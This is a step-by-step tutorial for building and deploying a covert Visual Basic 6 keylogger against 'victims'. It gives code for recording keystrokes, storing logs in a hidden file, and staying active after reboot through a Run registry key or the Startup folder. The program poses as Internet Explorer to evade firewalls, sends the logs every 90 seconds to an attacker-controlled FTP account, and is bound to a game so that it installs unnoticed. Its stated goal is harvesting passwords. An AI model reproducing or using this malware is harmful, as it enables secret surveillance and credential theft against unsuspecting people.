Full Keylogging Tutorial
By Mathias
When you are done with this tutorial you will be able to Make and Use a keylogger that is close to fully undetectable,
without the victim getting suspicious. You will be able to keylog just about anyone.
This Guide will be split into 2 parts:
Writing your own undetectable keylogger
- The language
- Logging and storing
- Uploading logs
Setting it up to be un-suspicious and trustworthy
- Binding with other files
- Making sure its existence is hidden
Before we begin i want to point out that this keylogger is NOT perfect.
It will be unable to record some symbols
It will occasionally rearrange a letter with one another if the user types fast
But the passwords should easily get through.
Writing the Keylogger.
In this guide we will be using Microsoft Visual Basic 6.0 (vb6 for short)
If you do not know/have this, dont leave just yet.
Reading this guide its not "Necessary" to have vb6 knowledge (highly recommended tho)
Download VB6 now, below
Fresh VB6 free download link
Open up VB6 and choose standard EXE.
Put on your form:
3 timers
1 label
double-click your form (design) and you see the source of our keylogger, almost empty at this point.
Go back to the design and set properties for the form
Set the form name to a few random letters (title doesnt matter)
Set Visible = false
Set ShowInTaskbar = false
This should make it invisible from the user.
go back to the source and write the following in the "Form_Load" sub
If app.previnstance = true then end
app.taskvisible = false
Which means that if its already running and opened again, it will not start another keylogger (2 keyloggers running would cause errors), and it will not show in the taskmanagers Program list (but still in process list)
Now lets go to the General Section of our source and declare some API functions in order to start writing. General section can be found by using (General) in the top left scrollbar
There are 2 effective methods to keylog with VB6
- Keyhooks
- GetAsyncKeyState
We will be using GetAsyncKeyState, which checks if a key is being pressed when executed
But before we can start using GetAsyncKeyState we must declare it in the general section
GetAsyncKeyState Declaration:
Quote:
Private Declare Function GetAsyncKeyState Lib "user32" (byval vkey as long) as integer
^ tells what Lib we need for GetAsyncKeyState.
With this code placed we can start using GetAsyncKeyState commands.
To find out what key is pressed we need to use getasynckeystate as so:
Quote:
If GetAsyncKeyState(number) <> 0 then
'code to execute if key is pressed
end if
Now you might be wondering what the "number" means, actually, the number we type here is a keyboard key,
you see, every key has a number (KeyCode), from around 1 to 200. (1 and 2 being mouse buttons)
Full list of KeyCode values
Thats alot of keycode. Now, theres an easy way of checking all of the keys at the same time. But it appears that doing it causes alot of weird symbols and capital letters only.
But i want it done properly so im gonna check One key at a time. You can decide yourself what you want to do.
I will show you the easy method too later on tho.
Now that we know how to check for a keypress we want it to write it down somewheres temporary. There are many ways to do so, i will be using a label. You can use a String aswell.
Set the caption of the label to nothing. Now a full example of the letter "a" would be this:
Quote:
if GetAsyncKeyState(65) <> 0 then
label1.caption = label1.caption + "a"
end if
So that if "a" key is pressed an "a" is added to our label.
Code 65-90 is a-z
To check if a key is pressed more than one time we put the code in a timer. I find that it works best when the interval is set to around 125.
Which means that the code is executed 8 times a second. (125 milliseconds). You must change the interval from 0 to 50-150, else it will not work. you can change the interval in the properties of the timer
If you have less interval, it might double record the keystroke, if you have more, it might miss it.
To start writing to a timer either choose "timer1" in the scrollbar in the top-left corner of the source page, or double-click the timer icon on the form design
Do this again and again with all keys from a-z, and numbers 0-9 (also in numpad)
Now it records letters and numbers, not bad, but we are far from done yet.
if we finished up now our logs would be one big pile of letters, pretty much unreadable.
so what we need to do is add spaces, and a hell lot of em. The user browses around alot, clicking here and there, so if we add spaces on keys like mouse buttons, space, enter, ctrl etc. we would get something readable with alot of spaces.
So find Keycodes for those keys and add a space to the label if pressed. Most important is the mouse clicks.
now, were not done just yet. We want to check if a letter is Capital. we do that by checking if shift or caps-lock has been pressed before every key. And if it has, make it print a capital letter instead.
Now to do this, we want to use booleans (true / false), so goto the general section and write this:
Quote:
dim caps as boolean
The keycode for capsLock is 20. We want to write capslock like this in the timer.
Quote:
if GetAsyncKeyState(20) <> 0 then
if caps = true then
label1.caption = label1.caption + "(/caps)"
caps = false
goto a
end if
label1.caption = label1.caption + "(caps)"
caps = true
end if
a:
The above code may seem a little confusing, but its simple really. when CapsLock is pressed it writes (caps) into the label. and sets our boolean "caps" to "True".
The next time capsLock is pressed (to disable it) instead of writing (caps) it writes (/caps). and Sets "caps" to "False". That way you will know that the letters between (caps) and (/caps) is all capital. Nice!
Everytime Caps-lock is pressed, it will add (caps) or (/caps) according to the state of the caps boolean.
Its a little different with shift. Shift has the keycode 16 btw.
dim "shift" as boolean in the general section. just like before.
Quote:
If GetasyncKeyState(16) <> 0 then
shift = true
end if
So if Shift is pressed the "shift" boolean becomes true. now in all codes checking for letters add this:
example with "a" key:
Quote:
if GetAsyncKeyState(65) <> 0 then
if shift = true then
label1.caption = label1.caption + "A"
shift = false
goto b
end if
label1.caption = label1.caption + "a"
end if
b:
(remember to use a different letter(s) in the goto commands every time)
So if Shift has been pressed, the next key being pressed will be capital. Nice!
NOTE: You can do this with numbers too to get their symbol instead.
You should now have in your timer, checking for a-z (all with shift check), alot of keys making spaces, capslock check, 0-9.
Now. 2 very important keycodes are missing on the site, so i put them here
Dot: Getasynckeystate(190)
Comma: Getasynckeystate(188)
We are now able to goto the next step. Writing to a Text Document.
Having the logs in a label is not enough. We need to write it to a textfile every now and then.
This process is really simple actually. Open up the source for the second timer (Timer2)
and write following.
I will explain below the quote.
Quote:
On Error GoTo skip
If Dir("c:\windows\klogs.txt") <> "" Then
Open "c:\windows\klogs.txt" For Append As #1
Write #1, Label1.Caption
Close #1
Else
Open "c:\windows\klogs.txt" For Output As #1
Write #1, DateTime.Time
Write #1,
Write #1, Label1.Caption
Close #1
End If
Label1.Caption = ""
skip:
dont worry, ill explain.
The DIR command checks if a file exists. if it exists it executes the code below it, if it does not exist, it executes the code below "Else"
the "Open" creates/opens a textfile, in this case, klogs.txt, you can change this. you can also change the location of it. Just locate it somewhere that the victim wont look.
the "for output as #1" just gives the file a number so it knows what file to write to later on (incase more files are open), Output writes the text file, Input reads the text file, and Append adds more text to the existing text in the textfile. Also as you may notice, if the file does not exist then it writes the time of day into the file. This is usefull for keeping track of when the specific log were from. In this case we only use Output and Append
"write #1, label1.caption" this writes the content of our label into file #1.
"close #1" closes the file.
'Label1.caption = "" ' This deletes the content of our label1 which stores the info. We dont wanna write the same stuff to it again.
Now dont worry. all of this writing and creating happens invisibly.
I suggest doing this every 30-60 seconds. (30 seconds = interval of 30000 on the timer)
As said above, we write the Time of day into the log file to help os keep track of it. When the file is first created it will write the time into it. But thats not quite good enough. for us. We want it to write the time of date into the file everytime the keylogger is being opened again (usually after shutdown)
So write this to the "Form_Load":
Quote:
If Dir("c:\windows\klogs.txt") <> "" Then
open "c:\windows\klogs.txt" for append as #1
write #1,
write #1, DateTime.time
write #1,
close #1
So now it stores Time marks everytime its opened.
NEAT! now every 30-60 seconds all logs is stored in a text document.
At this point you should try debugging the file. (little blue triangle button)
you will see nothing. but the keylogger is running.. try opening notepad or something and type something. after a minute or so, stop debugging (square button right of the debug button) and check the textfile (at your chosen location)
it should contain everything you wrote. If not. Re-Check the last steps.
Now. an important thing we must not forget is to make it run on startup =)
there are 2 ways to do that, i will explain them both and let you choose which one to use.
1: Registry keys
Here we copy the file to system32 and add an autorun reg-key to it so it starts when you start the computer. here how to do it:
First we want to see if it already has one startup key. go to the Form_Load section again and write this:
Quote:
if Dir("c:\windows\system32\Internet Explorer.exe") <> "" then
else
regist
end if
This means that if the file in system32 (Internet Explorer.exe) already exists (will explain the name later) then it does nothing
but if the file does not exist, it calls the sub called "regist". which copies the file and add a registry key to it. We're gonna write the "regist" sub now:
add this at the bottom of the code:
Quote:
Private Sub regist()
Dim regkey
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\windows\system32\Internet Explorer.exe"
Set regkey = CreateObject("wscript.shell")
regkey.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Internet Explorer.exe", "c:\windows\system32\Internet Explorer.exe"
End Sub
This copies the file iteself to system32 as Internet Explorer.exe (will explain in a moment), and then adds an autorun key to it.
Thats basicly the registry method. Here is the Other method.
2: Copy to startup method.
again, start with going to the Form_Load (IF you choose to use this method) and add "startup" which calls the startup sub we are about to make.
Make a new sub called startup at the bottom of the code, like this:
Quote:
Private Sub startup()
Dim startpath
Dim path As String
Set startpath = CreateObject("WScript.Shell")
path = startpath.Specialfolders("Startup")
FileCopy app.path & "\" & App.EXEName & ".exe", path & "\Internet Explorer.exe"
End Sub
This searches for the Specialfolder "startup" and copies itself to there with the Internet Explorer name,
If you want you can add VB attributes (setattr commands), like vbhidden or vbsystem. but i dont recommand that cause i had some problems with those attributes myself
Now choose one of the methods for startup (not both of them tho) and move on.
Now The final part is the most important one.
This is where we Upload the textfile to our FTP account. You MUST have your own ftp account for this part. I suggest using http://www.0catch.com (its a zero), there you can create a free account
create a free ftp account there.
Once you have your FTP account. We need to add a Internet Transfer Control component to our form. You do that by going to Project >> Components. (ctrl + T)
Find Microsoft Internet Transfer Control 6.0 and Tick it
press ok.
Now a new item is availible in the toolbox (Inet). drag it to your form.
select properties for it:
Protocol: icFTP
Username: Username.0catch.com (your 0catch username)
Password: your 0catch Password
Remotehost: http://www.0catch.com
and thats it.
now the "URL" should say something like this:
ftp://username.0catch.com:password@0catch.com
Now we are connected to the FTP when executed.
We must use this connection to upload the logs to the FTP. we want to do that about every 90 seconds (since 90 seconds is max interval in timers).
set Timer3's interval to 90000 (1½ minute) or less.
then in Timer3's source write this:
Quote:
On error resume next
Inet1.Execute , "PUT c:\windows\klogs.txt /" & DateTime.Date & ".txt"
Now, this finds our log (klogs.txt) and uploads it to the selected FTP, the files name will be the date of the day it is being run. This is so we can prevent overwriting previous logs by creating a new log for every day. This also makes it easier to find the log you need.
The "On error resume next" prevents the program from crashing if one log fails to upload. but instead tries again (errors happen rarely tho, but recommended to have)
if you have a subfolder for the logs you can type "/subfolder/" & DateTime.Date & ".txt"
Was that it? YES! its really that easy to upload a file. woowee!
Now. in the "LOAD" part add this:
Quote:
label1.caption = ""
To make sure the label is empty when opened.
Now i promised also to show the lazy way.. which is not as good.
I DO NOT RECOMMEND USING THIS:
this method uses Integer and a loop to do all keys.
Quote:
dim i as integer
for i = 1 to 120
if GetAsyncKeyState(i) <> 0 then
label1.caption = label1.caption + chr(i)
end if
next
in this method "i" is 1-120. "i" starts being 1, and everytime it reaches the next command it starts at "for" as 1 higher. untill 120.
all letters will be caps and alot of weird symbols will appear.
"chr(i)" chr = character, "i" is again, the keycode.
AGAIN: I RECOMMEND IGNORING THIS PART OF THE GUIDE. its not that good.
Now, go to the design again and click the form itself (not any of the items inside the form) look through the options and find the Icon option. change the icon to Internet Explorer Icon
guess what. were almost done. We now should have a very undetectable keylogger (80-95% UD)
NICE!. give it a test shot on your own computer by saving it as .EXE to your computer (debugging wont work now since we made it copy itself).
At this point you should save the project to your computer, you can also make the EXE file.(Save as Internet Explorer.exe)
Thats it for the first part. Get ready for part 2!
Setting it up to be trustworthy
Now. An EXE file that appears to do nothing when opened seems a little suspicious, doesnt it?
So there is a few ways to disguise it.
1. Binding it with another file.
2. Writing another program into it in VB6.
I prefer the first solution since it takes a long time to make it look like the game etc. closes when closebutton pressed.
and it would take multiple forms aswell.. so we will stick with Binding with another file or game of yours.
DO NOT use minor binding tools like FreshBind or alike. Many of these makes the output detectable..
USE nBinder PRO, nBinder only makes it slightly more detectable. Heres how to find it:
Once you have nBinder PRO its time to make the keylogger EXE.
you do that in file >> make project.EXE (Save as Internet Explorer.exe, will explain..)
when the EXE is created its time to find a file (prefferably a game or alike) to bind it with.
HOW TO MAKE A VB6 GAME, tut by me
Open Up nBINDER PRO.
add the keylogger and the file to be bound with.
Right click the Keylogger (inside nBINDER) and select Options.
Tick "Execute" box (if not already ticked) and Tick "Start visible" box (if not already ticked)
Untick "Delete file at next boot" if you want the keylogger to stay in the file after first boot.
now select options on the other file.
IMPORTANT: tick EXECUTE and "START VISIBLE" here.
UNtick delete at next boot.
now select iconfile and output name, compress the file.
Almost done now.
The reason it should be called Internet Explorer.exe and have Internet explorer icon (and copy as internet explorer.exe for that matter) is because some firewalls detects the FTP file uploading. and when the time comes when firewall asks if you want to allow the program internet connection, it will ask: Internet explorer is trying to access the internet . Block / Remove Block. and display Internet Explorer icon. That way it looks like its just IE that tries to get to the internet.. you can use other browsers for this aswell.. or messenger etc.
Now my friend. when the file is executed. The game (or w/e) will launch immediately. when the game is exited the keylogger starts logging invisible. (and is copied to startup / added a regkey) The victim shouldnt notice a thing.
and very soon you will be the owner of their passwords =).
Thats it for This TUTORIAL for keylogging.